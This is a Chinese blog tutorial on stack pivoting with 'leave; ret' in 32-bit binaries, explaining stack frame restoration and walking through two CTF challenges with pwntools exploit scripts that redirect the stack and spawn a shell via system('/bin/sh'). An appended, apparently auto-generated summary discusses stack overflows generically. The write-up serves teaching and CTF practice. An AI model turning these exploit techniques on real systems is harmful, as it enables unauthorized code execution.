栈迁移(leave ret)(更适合pwn宝宝体质的栈迁移~)

文章详细介绍了栈溢出中的栈迁移技术,特别是32位环境下的leaveret命令在函数调用恢复过程中的作用。通过函数调用机制、程序示例和具体指令分析,阐述了如何利用leaveret恢复栈空间并进行栈迁移。此外,还提供了两个具体的题目例子来说明如何在实际场景中应用这些知识进行漏洞利用。
摘要由CSDN通过智能技术生成

前言

栈迁移同属于栈溢出的一种技巧

由于32与64的调用基本是类似的,在理解32位后64位的利用较为简单,利用流程主要是多了个对csu_init函数的使用(不知道这是啥的自行学习ret2csu,检验而至这个函数可以实现前三个函数调用寄存器的内容控制),所以以下主要基于32位小端序进行讲解

其原因主要来自c的函数调用机制的一些特点。

因为栈迁移和函数调用这难以分割的关系,栈溢出的根本原理也基于此,所以我在这里简要讲解以下c语言的函数调用过程。重点在于leave ret,这两条汇编命令

考虑到一些因素,这里对leave,ret两条命令简述:

leave由几个gadget(代码片段)组成

分别是 mov esp,ebp pop ebp

ret即 pop rip

目录

前言

函数调用过程

程序举例

栈迁移利用原理讲解:

题目举例:

1.攻防世界 format2

canary的识别

payload:

2.buuctf ciscn_2019_es_2

payload:

另外你可能会想


函数调用过程

在一个可执行文件中,基本上都会存在main函数以下的子函数被调用的情况(main函数本身也是一个调用),而一个文件的运行,需要调用到一段内存空间,其中的一部分也即栈空间。倘若程序使用栈空间,不恢复,一直往低地址不断的生长,那当函数调用次数一多,栈空间会变得非常大才能满足程序运行的要求,这当然是不合理的。所以函数在使用了栈空间后,需要对栈空间进行恢复。

程序在调用子函数后会将esp指针的指向像上增长所需数量,作为子函数的堆栈使用空间,而ebp栈底保存了父函数的栈底,ebp再往下就是调用函数正常的返回地址

需要知道的是,esp,ebp实际上都是存的地址,图示ebp的位置存的是复函数栈底的地址,最顶上那个数据也不是esp的数据,esp寄存器此时存的数据是栈顶此时的绝对地址,因此指向的了栈顶(和c的指针类似),此图主要是为了演示各关键数据的相对位置。

ebp我们在basic rop(基础栈溢出)中常常是不考虑他该放什么的,主要是将retadd部分覆盖为有效数据。

但在栈迁移中,ebp位置所放的就是关键。

前面讲到,leave ret 是恢复栈的关键,留心你也可以ida每一个子函数的末尾看见它,那么它对应的gadget在程序执行流中具体是怎样实现恢复堆栈的呢,下面通过示意图的方式讲解。

这是我们假设的某个程序执行状态的切片,子函数已经调用完毕,已经准备执行leave ret了

mov esp,ebp

前面讲到,ebp,esp实际上都是存的地址,因此将ebp中的地址数据赋到esp中就可以让esp此时也指向这个地方

pop ebp

esp指向的数据弹入ebp,ebp中存的数据改变,因而指向了父函数的栈底,又由于pop指令除了弹出数据外还会将esp的指向下移,所以esp此时指向了函数的正常返回地址

ret (pop eip)

eip即程序执行时实时运行的代码的指向寄存器,esp再下移一位,栈空间是连续向上生长的,至此,子函数调用结束。

程序举例

以上描述可能会比较抽象,这里以一个简单程序为实例:

程序功能很简单,主要是起到一个栈空间的演示

几根红线分别标注的是ebp,esp,eip此时存储的内容,可以发现都是地址,绿色箭头表示当前程序的执行流,此时正准备调用test函数,记住此时 ebp的内容是0xffffce68

程序通过leave ret 的一个逆过程,使ebx的父栈底地址存入子栈底,并将ebp指向这个新的地址,

可以发现如前面所说,ebp中的内容变为了新栈底的地址,但此栈地址存储的内容正是我先前强调的0xffffce68

子函数执行过程略

可以看到子函数调用完毕,准备返回

在执行完leave后,ebp重新指向父函数的调用地址0xffffce68,esp下移,指向main+57(57是对于main函数的相对偏移,表示的是main函数中代码段的的一个地址,此处就是main函数中调用完test后该返回的地址)

子函数调用完毕,父函数栈空间恢复完毕

相信到这里看师傅应该大致了解了leave ret具体是什么了,那么我们该怎样利用呢?

栈迁移利用原理讲解:

这里假设一个情况,有一个一个main的栈空间此时我们只能溢出恰好把返回地址覆盖掉,假如我们要执行system(“/bin/sh”)就会出现无法打入参数的情况(毕竟要在ret后还加入调用函数的参数)

这里就需要操控esp的指向

当只有一个leave ret时,可以发现只有ebp在执行后会跳到我们我们写入的ebp,esp在执行完ret后只会到ret地址指向的下一个位置

那我们要在retadd的位置也写上leave ret呢?可以自己先在纸上或者什么上自己画画栈空间想想会发生什么

那么leave后esp就可以指向我们能控制的那个ebp往下一个位置, 而ret就会把他当做返回地址弹入eip

这样有什么用处呢?

最基本的,假如我们把ebp指向指回我们输入的数据的上端,那么就可以绕开rbp后面才是ret的这个限制,可以在上面就编写编写返回地址,构造参数之类的

题目举例:

(因为并不是wp,所以就不按照格式写了)

1.攻防世界 format2

可以发现有canary

ida:

(ctrl f 找一下main)

可以发现是这么依托,但是实际上并没有canary

canary的识别

为什么这么说,因为在当前函数调用并没有一个多的没用使用却又被申请的变量,比如下面这个,它在栈空间对应

在汇编中它出现了,在stack check之前调用来验证,所以也就是那个canary

decode那个函数就是把解码后的东西放进v5,返回解码后的长度

所以也就是进行了base64解码,如果解码后的长度大于12,就不能通过,也就是我们的payload的解码结果不能超过12个字节

可能会有师傅看到base64的解码比较不解,实际上不影响,实际上也就是我们发送的数据比之前的多了个加密的步骤。

另外留意一些input实际上是存bss段里的,可以全局调用

往后看,后面的else是执行了一次拷贝,(v5放v 7个长度的到input中)

然后调用了auth

溢出点就在这里

correct里是这样

可能会有一个问题,我们不是只能覆盖到ebp吗为什么可以栈迁移

因为我们在auth函数中,每一个函数调用完了都会有leave ret,而这里执行完了auth的返回值已经被固定了,所以不可能触发correct

所以完了直接就是main的 leave ret,自然也就凑齐了两个leave ret

那前面那八个字节会不会小了点呢,足够了

我们前面说过一个结论,当两个lr执行后 ,ip会指向写入rbp处地址往后的第一个帧(每4字节一帧(32bit))上的地址,因为有完整的getshell代码段,所以实际上就是最基本的ret2text(往栈里面放sh参数,然后调用)

因为我们输入的payload解码后是放input,所以我们写input的地址

所以逻辑上来说,这道题我们就是把“栈“”迁移到了bss上

payload:

import base64
from pwn import *
#p=remote('61.147.171.105',55599)
#p=process("./9eb304f8cf4641339ef4fd4b0f204b86")
p=gdb.debug('./9eb304f8cf4641339ef4fd4b0f204b86')
sys_addr=0x08049284			  #text段
input_addr=0x0811EB40
payload=b'aaaa'+p32(sys_addr)+p32(input_addr)
p.sendline(base64.b64encode(payload))
p.interactive()

2.buuctf ciscn_2019_es_2

直接调用vul(函数)

此题没有现成的代码段,但是有system

这个sys是echoflag,并不会回弹flag给你,只会打印一个“flag”,所以我们用这个函数就行了

这个vul函数会执行两次读入,两次都刚好溢出至ret

而s又足够大,所以部署一个完整的system sh的调用栈空间就行了

栈空间如下

但是呢,这里还有一个问题,虽然这题没有pie,但是实际上每次函数调用的栈地址肯定是有差别的,我们需要泄露栈的地址

这里的第一个输入为我们提供了便利,%s是遇到/x00结束,read会自动存分隔符,但当把空间打满他就存不了了,打印就会继续往下,我们只需要截取rbp那一部分即可,所以打印到那也无所谓

用gdb调一下算出第二个read时与泄露地址的距离

发现是

rbp:0xff9a76d8

read:oxff9a76a0

所以偏移就是6db-6a0=0x38

sh字符串的存储位置:在前面正好是0x10,所以就是0x28

payload:

from pwn import*
  
#a=remote("node3.buuoj.cn",)
p=process("ciscn_2019_es_2")
#context(arch='i386',os='linux',log_level='debug')
p=gdb.debug('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
sys=elf.symbols['system']
leave_ret=0x08048562		
p.recvuntil("Welcome, my friend. What's your name?")
payload=b'a'*0x20+b'b'*8#b作为标识符
p.send(payload)
p.recvuntil("bbbbbbbb")
ebp=u32(p.recv(4))
payload2=b'a'*4+p32(sys)+p32(0xaa)+p32(ebp-0x28)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')#因为前面的数据并不是直接对齐,所以用ljust把后面填满
payload2+=p32(ebp-0x38)+p32(leave_ret)
p.send(payload2)
 
p.interactive()

另外你可能会想

这题不是也在子函数里面,不也直接返回main然后接lr吗

虽然的确是回到main,但由于ecx保存了之前的ebp所以在main退出时就发生了截断,因此如果不带一个lr没有办法getshell

ida:

gdb:

PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,溢出是一种常见的攻击方式。 根据提供的引用,我了解到溢出是一种通过向程序输入过长的数据导致数据溢出的一种攻击手段。是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出空间大小的数据时,溢出的数据会覆盖到上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖上的返回地址,使其指向攻击者准备好的恶意代码,从而实现溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN溢出是一种通过向程序输入过长数据导致溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值